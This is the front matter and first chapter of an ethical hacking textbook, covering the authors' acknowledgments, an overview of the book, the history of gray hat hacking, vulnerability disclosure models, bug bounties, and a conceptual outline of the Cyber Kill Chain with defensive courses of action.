Chapter 30 Hacking on Kubernetes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 623
Kubernetes Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 623
Fingerprinting Kubernetes API Servers . . . . . . . . . . . . . . . . . . . . . . 625
Lab 30-1: Cluster Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . 625
Finding Kubernetes API Servers . . . . . . . . . . . . . . . . . . . . . . . 627
Lab 30-2: Fingerprinting Kubernetes Servers . . . . . . . . . . . . 628
Hacking Kubernetes from Within . . . . . . . . . . . . . . . . . . . . . . . . . . 630
Lab 30-3: Kubestriker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 631
Lab 30-4: Attacking from Within . . . . . . . . . . . . . . . . . . . . . 633
Lab 30-5: Attacking the API Server . . . . . . . . . . . . . . . . . . . . 636
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
PREFACE
This book has been developed by and for security professionals who are dedicated to
working in an ethical and responsible manner to improve the overall security posture of
individuals, corporations, and nations.
xxvii
ACKNOWLEDGMENTS
Each of the authors would like to thank the staff at McGraw Hill. In particular, we
would like to thank Wendy Rinaldi and Emily Walters. We could not have done this
book without you. Your expertise, tireless dedication, and attention to detail helped
make this book a success. Thanks for keeping us on track and for your patience with us
as we progressed.
We would also like to thank Heather Linn, our technical editor. She went above and
beyond as a technical editor and improved the book in many ways. She tirelessly ran all
the code in the book and often had to work with the authors to fix that code. Through-
out the process, she kept a sense of humor and encouraged us to do our best. As an
accomplished author in her own right, she completed our team.
Allen Harper would like to thank his wonderful wife Corann and beautiful daughters
Haley and Madison for their support and understanding as he chased yet another dream.
With each edition, it is neat to see our family grow and now spread apart, as we live in
different states. Haley and Madison, you are the joy of my life. I am so proud of you both
and am so excited for your future. Corann, I love you more than ever, and look forward
to spending the rest of our lives together! To my colleagues at T-Rex, thanks for bringing
the best out of me and challenging me to achieve even more.
Ryan Linn would like to thank Heather for her support, encouragement, and advice
as well as his family and friends for their support and for putting up with the long hours
and infrequent communication while the book was coming together.
Thanks to Jeff, Brian, Luke, Derek, Adrian, Shawn, Rob, Jon, Andrew, Tom, Todd,
Kelly, Debbie, and all the others who continue to push him to grow technically,
professionally, and in all aspects of life.
Stephen Sims would like to thank his wife Leanne and daughter Audrey for their
ongoing support with the time needed to research, write, work, teach, and travel.
He would also like to thank his parents George and Mary and his sister Lisa for their
support from afar. Finally, a special thanks to all of the brilliant security researchers who
contribute so much to the community with publications, lectures, and tools.
Finally, a special thank you to Jaime Geiger for writing the chapter on Windows
Kernel exploitation!
Michael Baucom would like to thank his wife Bridget and his daughter Tiernan for
their sacrifices and support in allowing him to pursue his professional goals.
He’d also like to thank his parents for their love and support and for instilling in
him the work ethic that has carried him to this point. Additionally, he’d like to thank
the Marine Corps for giving him the courage and confidence to understand that all
things are possible. Finally, he’d like to thank his brother in Christ, long-time friend,
and colleague Allen Harper. Nothing can be accomplished without a great team.
xxix
xxx
Huáscar Tejeda would like to thank his wife Zoe and their children Alexander and
Axel for their continuous support and encouragement.
He would also like to thank his mother Raysa for having taught him by example the
importance of being passionate about inexhaustible study and hard work, as well as for
exposing him to music, painting, and mathematics at an early age. Additionally, he’d like
to thank his grandmother Milagros for her great love and for always believing in him
since he was a child. Also, a special thanks to his older brother Geovanny for inviting him
to the university to take computer science classes after learning of Huáscar’s strong com-
puter programming skills at the age of 13. And, finally, thanks go to his brother Aneudy
for always caring and being there for him.
Daniel Fernandez would like to thank his wife Vanesa for her love and support.
He’d also like to thank former colleagues and longtime friends Sebastian Fernandez,
Gottfrid Svartholm, and Bruno Deferrari. He considers himself lucky to have met them
and learn from them all these years. Finally, a special thanks to Rocky, a good friend
who many years ago gave him the opportunity that resulted in his best professional
experience.
Moses Frost would like to thank his wife Gina and daughter Juliet for their continued
love, support, and sacrifices throughout the years.
He’d also like to thank his parents who allowed him to pursue his passions. It was
not easy to break free and take chances. Finally, but not least, he’d like to thank some
former colleagues, mentors, and friends—Fernando Martinez, Joey Muniz, Ed Skoudis,
Jonathan Cran, and so many others who have helped him be a better person.
We, the authors, would also like to collectively thank Hex-Rays for the generous use
of their tool IDA Pro.
Finally, a special thank you to Jaime Geiger for writing the chapter on Windows
Kernel exploitation!
INTRODUCTION
There is no instance of a nation benefitting from prolonged warfare.

—Sun Tzu
To be prepared for war is one of the most effective means of preserving peace.
—George Washington
If it were a fact, it wouldn’t be called intelligence.
—Donald Rumsfeld
Like the previous editions, the purpose of this book is to provide individuals the informa-
tion once held only by governments and a few black hat hackers. In each edition, we strive
to update the reader on the latest security techniques. Increasingly, individuals stand in
the breach of cyberwar, not only against black hat hackers, but sometimes against govern-
ments. If you find yourself in this position, either alone or as a defender of your organiza-
tion, we want you to be equipped with as much knowledge of the attacker as possible. To
that end, we present to you the mindset of the gray hat hacker, an ethical hacker who uses
offensive techniques for defensive purposes. Ethical hacker is an honorable role—one that
respects the laws and the rights of others. The ethical hacker subscribes to the notion that
the adversary may be beaten to the punch by testing oneself first.
The authors of this book want to provide you, the reader, with something we believe
the industry and society in general need: a holistic review of ethical hacking that is
responsible and truly ethical in its intentions and material. This is why we keep releasing
new editions of this book with a clear definition of what ethical hacking is and is not—
something our society is very confused about.
We have updated the material from the fifth edition and have attempted to deliver the
most comprehensive and up-to-date assembly of techniques, procedures, and material
with real hands-on labs that can be replicated by the reader.
Eighteen new chapters are presented, and the other chapters have been updated.
In the first section, we cover the topics required to prepare you for the rest of the book.
Keep in mind that all the skills you need are more than can be covered in any book, but
we attempt to lay out some topics to make the rest of the book more attainable and acces-
sible by newer members of the field. We cover the following topics:
• The role of a gray hat hacker
• The MITRE ATT&CK framework
• Programming basic skills in C, Assembly, and Python
• Linux exploit tools
• Ghidra reverse engineering tool
• IDA Pro reverse engineering tool
xxxi
xxxii
In the second section, we explore the topic of ethical hacking. We give you an overview
of the skills being employed by professionals as they attack and defend networks. We
cover the following topics:
• Red and purple teaming
• Command and control (C2) techniques
• Building a threat hunting lab on your host and in the cloud
• Threat hunting basics
In the third section, we shift gears and talk about hacking systems. Here, you will
discover the skills needed to exploit Windows and Linux systems. This is a broad area of
focus, where we cover these topics:
• Basic Linux exploits
• Advanced Linux exploits
• Linux kernel exploits
• Basic Windows exploits
• Windows kernel exploits
• PowerShell exploits
• Getting shells without exploits
• Post-exploitation in modern Windows environments
• Next-generation patch exploitation
In the fourth section, we cover hacking of the Internet of Things (IoT) and hardware
devices. We start with an overview of this area of cybersecurity and then launch into
more advanced topics, including the following:
• Overview of the Internet of Things
• Dissecting embedded devices
• Exploiting embedded devices
• Hacking software-defined radios (SDRs)
In the fifth section, we cover hacking hypervisors, which provide the software-defined
networks, storage, and processing of virtual machines that undergird the majority of
business systems these days. In this section, we explore the following topics:
• Overview of hypervisors
• Creating a research framework for testing hypervisors
• Looking inside Hyper-V
• Hacking hypervisors case study
Introduction
xxxiii
In the sixth section, we cover hacking the cloud. Moving beyond standard hypervisors,
which often run in private data centers, we describe the public cloud, the technologies
involved, and the security implications of such. We cover these topics:
• Hacking in Amazon Web Services
• Hacking in Azure
• Hacking containers
• Hacking on Kubernetes
We hope you enjoy the new and updated chapters. If you are new to the field or are
ready to take the next step to advance and deepen your understanding of ethical hacking,
this is the book for you. In any event, use your powers for good!
NOTE To ensure your system is properly conigured to perorm the labs,

we have provided the iles you will need. The lab materials and errata
may be downloaded rom the GitHub repository at https://github.com/
GrayHatHacking/GHHv6.
PART I
Preparation
Chapter 1 Gray Hat Hacking

Chapter 2 Programming Survival Skills
Chapter 3 Linux Exploit Development Tools
Chapter 4 Introduction to Ghidra
Chapter 5 IDA Pro
Gray Hat Hacking
CHAPTER
1
In this chapter, we cover the following topics:
• Gray hat hacking
• Vulnerability disclosure
• Advanced persistent threats (APTs)
• Cyber Kill Chain
• MITRE ATT&CK framework
What is a gray hat hacker? Why should you care? In this chapter, we attempt to define
what a gray hat hacker is and why they are so vital to the cybersecurity field. In short,
they stand in the gap between white hat hackers and black hat hackers and serve as ethi-
cal hackers, never breaking the law, but instead making the world a better place through
applying their skills for good. Now, this concept is controversial, and good people may
disagree on this topic. So, in this chapter, we try to set the record straight and give a call
to action—that you join us as gray hat hackers and practice ethical hacking in a respon-
sible manner. We also lay the foundation of other critical topics discussed throughout
the book.
Gray Hat Hacking Overview

The phrase “gray hat hacker” has been quite controversial. To some, it means a hacker
who occasionally breaks the law or does something unethical to reach a desired end. We,
as gray hat hackers, reject that notion. In a moment we will give our definition. We have
read more than one book that has further confused the meaning of the phrase and have
come to recognize that the authors of those books just don’t know any better and would
not consider themselves gray hat hackers because they don’t understand who we are, so
they attempt to denigrate our group. Therefore, as the authors of the founding book on
this topic, let us set the record straight.
History of Hacking
Ethical hacking has not always been accepted as a legal profession. There was a time
when any form of hacking, regardless of the intent, was regarded as a purely criminal
exercise. As technology has evolved and become more pervasive in our lives, so have the
understanding of hacking and the laws that govern its use. For many of the readers of
3
4
this book, these are concepts that are simply lost to history. However, it is important to
understand this history and give credit to the hard work of the founders of the field who
made it possible to pursue this career. We provide this information not only to inform
but also to protect the ability of professionals to apply their hacking skills ethically so that
they may continue to make the world a better place.
There was a time when fewer rules governed the use of computers because the skills
and knowledge of lawmakers and law enforcement lagged during the rapid evolution of
networked systems. Hackers who might attack systems out of curiosity or even mischief,
however, had found a new world of opportunity. Not everyone indulging their curiosity
did so without harm. However, the resulting clash with authority figures who were unable
to understand the systems meant many benevolent, bright and intelligent hackers were
labeled as criminals by much of the world’s software vendors and governments, regardless
of their intent. You see, people are afraid of what they do not understand, and many will
only understand that a hacker broke into a system without permission—not that they
intended no harm when doing so (https://www.discovermagazine.com/technology/the-
story-of-the-414s-the-milwaukee-teenagers-who-became-hacking-pioneers).
In 1986 the United States passed the Computer Fraud and Abuse Act to shore up
existing computer fraud laws. This expressly prohibited access to computing systems without
authorization, or in excess of authorization, and was designed to protect critical government
systems. Shortly thereafter, the Digital Millennium Copyright Act was released in 1988. This
criminalized attacks against access control or digital rights management (DRM). In a time
when computer hacking was not only misunderstood, but feared, the resulting environment
for security researchers could be very hostile. Legitimate researchers in the hacking community
were now left to fear that finding vulnerabilities and reporting them could result in legal
action or even jail time, according to one or both of these acts, given the argument that code
was copyrighted and reverse engineering was therefore illegal, or that unauthorized access to
any system (not only government systems) must be criminal (refer to Edelman v. N2H2,
Felton et al. v. RIAA, and https://klevchen.ece.illinois.edu/pubs/gsls-ccs17.pdf). This still
happens some places (https://www.bleepingcomputer.com/news/security/ethical-hacker-
exposes-magyar-telekom-vulnerabilities-faces-8-years-in-jail/).
Increased pressure for hackers to distinguish themselves from criminals led many
researchers to define for themselves a set of ethics that could bring no legal question,
while others questioned the chilling effect of the law and the overall reaction to security
research. Those in the first camp became known as “white hat hackers,” choosing to
discuss known weaknesses with only the minimum amount of detail possible in order
to try to get things fixed. These hackers also chose to eschew techniques that might
possibly cause harm during their research and to only perform actions that involved full
permission. This left the rest to be marked as “black hat hackers,” for anyone who might
question the goodness of the law.
Yet, a third group emerged. Hackers who desired not to do harm but to make things
better found themselves frustrated by the inability to make positive change in face of
these limitations. Where were the laws to hold software makers and providers accountable
for security decisions that negatively impacted consumers? Discovery of vulnerabilities
had not stopped; it had simply been forced underground, while white hat techniques
Chapter 1: Gray Hat Hacking
5
remained hampered in what they were able to discover by legal limitations on their
methods. For some subset of hackers, it was not all about following the rules, but it was
PART I
not about personal gain or causing harm, either.
The phrase “gray hat hacking” was first mentioned by Peiter “Mudge” Zatko, in 1997,
in the first Black Hat proceedings,1 when he announced that he would start working with
Microsoft to resolve vulnerabilities.2 At the same event, his fellow hacker in the hacking
group L0pht, Weld Pond, said it best: “First off, being grey does not mean you engage in
any criminal activity or condone it. We certainly do not. Each individual is responsible for
his or her actions. Being grey means you recognize that the world is not black or white.”3
Later, in 1999, L0pht used the term in an article.4 (By the way, when we first decided to
write Gray Hat Hacking, we started by using the phrase “grey hat” (spelled with an e), only
to find out from the publisher that “grey” is a more common spelling in the UK, so it was
decided to use “gray” instead, which is more commonly used in the US.)
L0pht and other pioneers in the field used their knowledge to educate authority figures,
including testifying in front of congress. This education has helped evolve attitudes toward
hacking and security research so that legitimate practitioners today can conduct work that
makes computer security better, with less fear of prosecution due to misunderstanding.
However, it is a delicate balance, and the battle to maintain that balance continues with
every new case, with every new technology, and with every new hacker.
Ethics and Hacking

You’ll also see the term “ethical hacker” referenced repeatedly in this text and in others.
This term is sometimes questioned, as morals, ethics, and laws vary among individu-
als, social groupings, and governments. In most contexts, the term is designed to dif-
ferentiate between criminality and lawful behavior—to differentiate between someone
who hacks for the greater good and in support of professional pursuits from someone
who pursues personal gain, active criminality, or harm with the skill. The guidelines
for what makes an ethical hacker is sometimes even codified for certification holders
and the members of some computer security organizations that use codes of conduct
to set expectations of behavior.
Definition of Gray Hat Hacking

As you can see, the term “gray hat” comes from an early recognition that there are more
“shades of gray,” so to speak, than the polar terms of black and white. Of course, the
terms black and white in reference to hackers comes from the old television westerns in
the US, where cowboys wearing white hats were the good guys, and the bad guys always
wore black hats. Gray hat hackers, therefore, are those who operate in between. We
choose to operate within the law and ethically, using research and adversarial knowledge
to better the world by improving defenses surrounding technology.
To be clear, we as the authors of this book do not speak for all gray hat hackers, nor
do we even think that all persons who consider themselves gray hat hackers would agree
on this definition. However, as we lay out the technical topics of this book, we wanted to
start by first describing where we are coming from, a position of ethical hacking, whereby
6
our efforts are used for good, not harm. Many but not all of us gray hat hackers use these
techniques to make a living, in a professional sense, and take great pride in our tradecraft
and the honorable spirit in which we carry it out. We hope that you too would adopt this
viewpoint and use your powers for good. There are enough black hat hackers out there;
we need more gray hats, stepping in the gap, to protect others. If you enjoy this book,
we hope you join us in clearing up the confusion on this topic. Speak up when you hear
someone mischaracterize a gray hat hacker. Let’s protect our field, standing up for what
is right and good and calling out those who cross the line.
History of Ethical Hacking

In this section, we provide an overview of the history of the field of ethical hacking, start-
ing with the topic of vulnerability disclosure and then moving on to bug bounties. This
will lay the foundation of later topics in this chapter, such as advanced persistent threats
(APTs), Lockheed Martin Cyber Kill Chain, MITRE ATT&CK, penetration testing,
threat intel, threat hunting, and security engineering.
History of Vulnerability Disclosure

Software vulnerabilities are as old as software itself. Simply put, software vulnerabilities
are weakness in either the design or implementation of software that may be exploited
by an attacker. It should be noted that not all bugs are vulnerabilities. We distinguish
bugs from vulnerabilities by using the exploitability factor. In 2015, Synopsys produced
a report that showed the results of analyzing 10 billion lines of code. The study showed
that commercial code had 0.61 defects (bugs) per 1,000 lines of code (LoC), whereas
open source software had 0.76 defects per 1,000 LoC. However, the same study showed
that commercial code did better when compared against industry standards, such as
OWASP Top 10.5 Further, it has been demonstrated that 1–5 percent of software defects
turn out to be vulnerabilities.6 Since modern applications commonly have LoC counts
in the hundreds of thousands, if not millions, a typical application may have dozens of
security vulnerabilities. One thing is for sure: as long as we have humans developing soft-
ware, we will have vulnerabilities. Further, as long as we have vulnerabilities, users are at
risk. Therefore, it is incumbent on security professionals and researchers to prevent, find,
and fix these vulnerabilities before an attacker takes advantage of them, harming the user.
This is the ultimate mission of the gray hat hacker.
Many considerations arise during vulnerability disclosure. For the hacker, this includes
details like who to contact, how to contact them, what information to provide, and how
to assert accountability among all parties in the disclosure. For the vendor, this includes
details such as tracking vulnerability reports, performing risk analysis, getting the right
information to make a fix, performing a cost and benefit analysis for the programming
effort to make the fix, and managing communication with consumers and the person
who reported the vulnerability. When goals surrounding these considerations do not
align between the hacker and the vendor, there is opportunity for friction. Key questions
arise, such as how long is enough time for a vendor to make a fix? Do the hacker and
the vendor agree that the fix is important? Should someone who reports a vulnerability
7
in good faith be compensated or recognized? How long should customers have to make
themselves safe by patching before the hacker or the vendor releases details about the
PART I
weakness? How much detail is appropriate? Will customers apply the patch if they don’t
understand the danger of not patching?
The answers to all of these questions are often hotly contended. Some researchers may
find non-disclosure untenable if a vendor chooses not to take action on a vulnerability.
Lingering danger to consumers in face of ongoing vulnerability can be frustrating when
there is no other authority to hold a vendor responsible for security. However, even
security-committed vendors may operate under the demands of many researchers,
budgets, product managers, consumers, and investors, requiring a rebalancing of
priorities that cannot always satisfy every researcher. There is no formal consensus on
these matters.
Common methods of disclosure include full vendor disclosure, full public disclosure,
and coordinated disclosure. In the spirit of ethical hacking, we lean toward the concept
of coordinated disclosure; however, we hope that we present the options in a compelling
manner and let you, the reader, decide.
NOTE These terms are controversial, and some may prefer “partial vendor
disclosure” as an option to handle cases when proof of concept (POC) code
is withheld and when other parties are involved in the disclosure process. To
keep it simple, in this book we will stick with the aforementioned terms.
Full Vendor Disclosure

Starting around the year 2000, some researchers were more likely to cooperate with
vendors and perform full vendor disclosure, whereby the researcher would disclose the
vulnerability to the vendor fully and would not disclose it to any other parties. This
was due, in part, to the growing openness of vendors to accept public feedback without
resorting to legal action. However, the concept of computer security had begun to more
thoroughly permeate the vendor space, meaning more companies had begun to adopt
formal channels for disclosure.
Most of these disclosures would require non-disclosure to the public on the part of
the researcher, or the researcher would choose not to publicly disclose details out of a
white hat ethos. However, with no formal means for handling these reports, and no
source of external accountability, this often led to an unlimited period of time to patch a
vulnerability. The perception that vendors have a lack of incentive to patch a vulnerability
led to researcher disenfranchisement that sometimes led hackers to prefer full disclosure.
Software vendors, on the other hand, not only had to figure out new processes to
address these vulnerabilities, but they struggled with how to manage distribution
of updates to their customers. Too many changes in a short time could undermine
consumer confidence in the product. Not revealing details about what was fixed might
lead consumers not to patch. Some consumers had large and complicated environments
in which patching presented logistical problems. How long would it take for someone to
reverse-engineer a patch and create a new exploit, and would that be more or less than
the time it would take for all consumers to protect themselves?
8
Full Public Disclosure
There have been countless zines, mailing lists, and Usenet groups discussing vulner-
abilities, including the infamous Bugtraq mailing list, which was created in 1993. Many
of these disclosures were designed to build a hacker’s reputation. Others stemmed from
the frustration born out of a desire to see things fixed without a good formal channel to
communicate them. Some system owners and software vendors simply didn’t understand
security; some had no legal reason to care. However, over the years, frustration built in
the hacker community as vendors were not seen as playing fairly or taking the research-
ers seriously. In 2001, Rain Forest Puppy, a security consultant, made a stand and said
that he would only give a vendor one week to respond before he would publish fully and
publicly a vulnerability.7 In 2002, the infamous Full Disclosure mailing list was born and
served as a vehicle for more than a decade, where researchers freely posted vulnerability
details, with or without vendor notification.8
Some notable founders of the field, such as Bruce Schneier, blessed the tactic as the only
way to get results, claiming the software vendor is most likely to fix an issue when shamed
to do it.9 Other founders, like Marcus Ranum, disagreed by stating that we are no better off
and less safe.10 Again, there is little to no agreement on this matter; we will allow you, the
reader, to determine for yourself where you side. The full disclosure approach also means
that vendors may not fix the actual problem appropriately in their rush to meet arbitrary
deadlines.11 Of course, those type of shenanigans are quickly discovered by other researchers,
and the process repeats. Other difficulties arise when a software vendor is dealing with a
vulnerability in a library they did not develop. For example, when OpenSSL had issues with
Heartbleed, thousands of websites, applications, and operating system distributions became
vulnerable. Each of those software developers had to quickly absorb that information and
incorporate the fixed upstream version of the library in their application. This takes time,
and some vendors move faster than others, leaving many users less safe in the meantime as
attackers began exploiting the vulnerability within days of release.
Another advantage of full public disclosure is to warn the public so that people may
take mitigating steps prior to a fix being released. This notion is based on the premise
that black hats likely know of the issue already, so arming the public is a good thing and
levels the playing field, somewhat, between attackers and defenders.
Through all of this, the question of public harm remains. Is the public safer with or
without full disclosure? To fully understand that question, one must realize that attackers
conduct their own research and may know about an issue and be using it already to
attack users prior to the vulnerability disclosure. Again, we will leave the answer to that
question for you to decide.
Coordinated Disclosure
So far, we have discussed the two extremes: full vendor disclosure and full public dis-
closure. Now, let’s take a look at a method of disclosure that falls in between the two:
coordinated disclosure.
In 2007, Mark Miller of Microsoft formally made a plea for “responsible disclosure.”
He outlined the reasons, including the need to allow time for a vendor, such as Microsoft,
to fully fix an issue, including the surrounding code, in order to minimize the potential
9
for too many patches.12 Miller made some good points, but others have argued that
responsible disclosure is tilted toward vendors, and if Microsoft and others had not
PART I
neglected patches for so long, there would have been no need for full disclosure in the
first place.13 Soon, people began to argue that the name “responsible disclosure” implies
that attempts to assert vendor accountability are, therefore “irresponsible.” Conceding
this point, Microsoft itself later changed its position and in 2010 made another plea
to use the term “coordinated vulnerability disclosure” (CVD) instead.14 Around this
time, Google turned up the heat by asserting a hard deadline of 60 days for fixing any
security issue prior to disclosure.15 The move appeared to be aimed at Microsoft, which
sometimes took more than 60 days to fix a problem. Later, in 2014, Google formed a
team called Project Zero, aimed at finding and disclosing security vulnerabilities, using
a 90-day grace period.16
The hallmark of coordinated disclosure is using threat of disclosure after a reasonable
period of time to hold vendors accountable. The Computer Emergency Response
Team (CERT) Coordination Center (CC) was established in 1988 in response to
the Morris worm and has served for nearly 30 years as a facilitator of vulnerability
and patch information.17 The CERT/CC has established a 45-day grace period when
handling vulnerability reports, in that the CERT/CC will publish vulnerability data after
45 days, unless there are extenuating circumstances.18 Security researchers may submit
vulnerabilities to the CERT/CC or one of its delegated entities, and the CERT/CC will
handle coordination with the vendor and will publish the vulnerability when the patch
is available or after the 45-day grace period. See the “For Further Reading” section for
information on the DHS Cybersecurity and Infrastructure Security Agency’s stance on
coordinated vulnerability disclosure.
No More Free Bugs

So far, we have discussed full vendor disclosure, full public disclosure, and responsible
disclosure. All of these methods of vulnerability disclosure are free, whereby the security
researcher spends countless hours finding security vulnerabilities and, for various reasons
not directly tied to financial compensation, discloses the vulnerability for the public
good. In fact, it is often difficult for a researcher to be paid under these circumstances
without being construed as shaking down the vendor.
In 2009, the game changed. At the annual CanSecWest conference, three famous
hackers, Charlie Miller, Dino Dai Zovi, and Alex Sotirov, made a stand.19 In a presentation
led by Miller, Dai Zovi and Sotirov held up a cardboard sign that read “NO MORE
FREE BUGS.” It was only a matter of time before researchers became more vocal about
the disproportionate number of hours required to research and discover vulnerabilities
versus the amount of compensation received by researchers. Not everyone in the security
field agreed, and some flamed the idea publicly.20 Others, taking a more pragmatic
approach, noted that although these three researchers had already established enough
“social capital” to demand high consultant rates, others would continue to disclose
vulnerabilities for free to build up their status.21 Regardless, this new sentiment sent a
shockwave through the security field. It was empowering to some, scary to others. No
doubt, the security field was shifting toward researchers over vendors.
10
Bug Bounty Programs
The phrase “bugs bounty” was first used in 1995 by Jarrett Ridlinghafer at Netscape
Communication Corporation.22 Along the way, iDefense (later purchased by VeriSign)
and TippingPoint helped the bounty process by acting as brokers between researchers
and software, facilitating the information flow and remuneration. In 2004, the Mozilla
Foundation formed a bug bounty for Firefox.23 In 2007, the Pwn2Own competition
was started at CanSecWest and served as a pivot point in the security field, as research-
ers would gather to demonstrate vulnerabilities and their exploits for prizes and cash.24
Later, in 2010, Google started its program, followed by Facebook in 2011, followed by
the Microsoft Online Services program in 2014.25 Now there are hundreds of companies
offering bounties on vulnerabilities.
The concept of bug bounties is an attempt by software vendors to respond to the
problem of vulnerabilities in a responsible manner. After all, the security researchers, in
the best case, are saving companies lots of time and money in finding vulnerabilities.
On the other hand, in the worst case, the reports of security researchers, if not handled
correctly, may be prematurely exposed, thus costing companies lots of time and money
due to damage control. Therefore, an interesting and fragile economy has emerged as
both vendors and researchers have interest and incentives to play well together.
Incentives
Bug bounty programs offer many unofficial and official incentives. In the early days,
rewards included letters, T-shirts, gift cards, and simply bragging rights. Then, in
2013, Yahoo! was shamed into giving more than swag to researchers. The community
began to flame Yahoo! for being cheap with rewards, giving T-shirts or nominal gift
cards for vulnerability reports. In an open letter to the community, Ramses Martinez,
the director of bug finding at Yahoo!, explained that he had been funding the effort
out of his own pocket. From that point onward, Yahoo! increased its rewards to $150
to $15,000 per validated report.26 From 2011 to 2014, Facebook offered an exclusive
“White Hat Bug Bounty Program” Visa debit card. 27 The rechargeable black card was
coveted and, when flashed at a security conference, allowed the researcher to be rec-
ognized and perhaps invited to a party.28 Nowadays, bug bounty programs still offer
an array of rewards, including Kudos (points that allow researchers to be ranked and
recognized), swag, and financial compensation.
Controversy Surrounding Bug Bounty Programs

Not everyone agrees with the use of bug bounty programs because some issues exist that
are controversial. For example, vendors may use these platforms to rank researchers, but
researchers cannot normally rank vendors. Some bug bounty programs are set up to
collect reports, but the vendor might not properly communicate with the researcher.
Also, there might be no way to tell whether a response of “duplicate” is indeed accurate.
What’s more, the scoring system might be arbitrary and not accurately reflect the value of
the vulnerability disclosure, given the value of the report on the black market. Therefore,
each researcher will need to decide if a bug bounty program is for them and whether the
benefits outweigh the downsides.
11
Know the Enemy: Black Hat Hacking
PART I
The famous ancient Chinese general Sun Tzu said it best more than 2,500 years ago:
“If you know the enemy and know yourself, you need not fear the result of a hundred
battles. If you know yourself but not the enemy, for every victory gained you will also
suffer a defeat.”29
Based on this timeless advice, it behooves us to know our enemy, the black hat hacker.
Advanced Persistent Threats

Before we even discuss this topic, we can agree that not all black hat hackers are advanced
persistent threats (APTs), nor can all APTs be attributed to black hat hackers. Further, this
term has become stretched over time to include even more basic forms of attack, which is
unfortunate.30 That said, it has become a useful description of an advanced adversary that
may be used to bring light to their activities and focus attention (admittingly, sometimes
overly so) on the adversary.
As the name implies, APTs use advanced forms of attack, they are persistent in
nature, and they are a significant threat to the enterprise. Even so, we must admit
that an adversary normally does not need to drop a 0-day on the front end of their
APT attack. There are two reasons for this: first, 0-days are hard to come by and are
perishable if used frequently, as it is just a matter of time before a white or gray hat
hacker discovers the attack and reverse-engineers it and then reports it “ethically” to a
software developer, thereby ending the life of the 0-day. Secondly, 0-days are often not
needed to get into an enterprise. Given the first threat to the attacker, they normally
only drop 0-days when absolutely needed, and often as a secondary attack, after already
gaining a foothold in an enterprise network.
Lockheed Martin Cyber Kill Chain

When discussing the persistent nature of the APT, Lockheed Martin developed a model
in 2011 called the Cyber Kill Chain, as shown here, adapted to show cost to remediate.
Command and Actions on

Reconnaissance Weaponization Delivery Exploitation Installation
Control (C2) Objectives
Cost to Remediate
The model was developed, by extending Department of Defense (DoD) targeting

doctrine, using intelligence, whereby the core element is indicators, which, as the name
implies, give an indicator of enemy behavior. Then, in their seminal paper,31 Hutchins,
et al. explained a common pattern of attackers, as shown in the illustration. The key
idea is that adversaries often have repeatable processes, which, if discovered early, could
be countered in a number of ways. The sooner you discover the indicators of attack and
“break” the kill chain, the cheaper the recovery. The inverse is true, too.
The individual steps of the Cyber Kill Chain are discussed in the following sections.
12
Reconnaissance
Reconnaissance are the steps taken by an adversary, prior to the attack. They often involve
techniques that are both passive and active. Passive techniques are performed without
even sending a packet to the target of the attack, instead meta data is gathered indirectly,
through public documents, public sources, search engines, and cached web archives.
Active reconnaissance on the other hand involves interacting with the target’s website,
open interfaces, and may even involve port and service and API scanning (enumeration)
and vulnerability scanning.
Weaponization
Weaponization involves the crafting of, or selection of, existing exploits to take advantage
of the vulnerabilities found during the reconnaissance phase. Normally, an APT does not
have to do anything fancy or use a 0-day at this stage of the attack. There are normally
unpatched publicly known vulnerabilities that may be used. However, in rare cases, an
adversary may craft a special exploit to a custom payload, containing a trojan or other
back door, that provides command and control and further functionality, as desired.
Delivery
During this phase of the attack, the attacker sends the exploit and payload to the target
to take advantage of a discovered vulnerability. This may involve exploiting a discovered
web or e-mail vulnerability, or perhaps an open API interface. Unfortunately, there are
often easier ways into an enterprise, such as a simple phishing attack, which is still effec-
tive, after billions of dollars in training and awareness. Other forms of social engineering
attacks may be used here as well.
Exploitation
During this phase, the cyber weapon is detonated and is executed in some fashion, either
by that “helpful” user or automatically by an application such as an e-mail client or web
browser plugin. At this point, the attacker’s code is executing on the target host. When
directly attacking a port or service, the delivery and exploitation phase are the same.
Installation
During this phase, the attacker normally performs two actions (1) gain persistence and
(2) downloads and executes a secondary payload. When it comes to persistence, the
worst thing that can happen to an attacker at this phase is the user close the applica-
tion that is running the malicious code or even worst reboot the computer, severing
all connections. Therefore, the first intention of the adversary is to quickly gain some
form of persistence.
This secondary payload is normally required, as the primary payload must be small,
evade anti-virus, and must often fit within the confines of a carrier document or file.
However, this secondary payload may be much larger in size, may execute entirely in
memory, further evading many antivirus technologies. The secondary payload may
13
contain a standard and readily available attack framework, such as a remote access
trojan (RAT). Some attackers have even started to use our own tools against us, such
PART I
as Metasploit.
Command and Control (C2)

After the execution of the secondary payload, the attacker will normally have some form
of command and control (C2), a military phrase, whereby the attacker may direct the
activities of the remote access tool (RAT) or attack framework. This may be a simple
form of communication that perhaps sleeps for a day (or longer) and then wakes up and
phones home, checking for commands to execute. Further, this C2 may leverage a more
sophisticated scheme of tunneling through common traffic, custom encryption, or com-
munication protocols.
Actions on Objectives
Finally, after all that effort, which may only take seconds to complete, the adversary will
perform actions on objectives, which is also a military phrase, which means, complete
the mission, complete the task you came to do. Often this involves moving laterally
across the organization, discovering sensitive information, gaining enterprise admin-
istrative privilege, establishing more forms of persistence and access, and ultimately
exfiltration of the sensitive data, extortion through ransomware, bitcoin mining, or
some other profit motive.
Courses of Action for the Cyber Kill Chain

During each phase of the Cyber Kill Chain, there are methods of dealing with an active
attack and breaking the Cyber Kill Chain of an adversary, as discussed next.
Detect
During each phase, you may detect the attacker, but it is often more feasible to detect
the attack in its early phases. The further the attacker digs into the network, the more
they begin to look like a normal user and the harder it is to detect them. There is one
prominent exception here, the “deceive” method, which we will discuss in a moment.
Deny
An effective method to deal with an attacker is to “deny” them access to sensitive
resources. However, that turns out to be harder than it sounds. Again, if an attacker
is simply taking advantage of a discovered vulnerability that, for example, bypasses the
built-in access control mechanisms, it may not be possible to deny access to that system,
particularly if it is Internet facing. However, for secondary systems, further network seg-
mentation and access controls should be deployed to deny the attacker. On the extreme
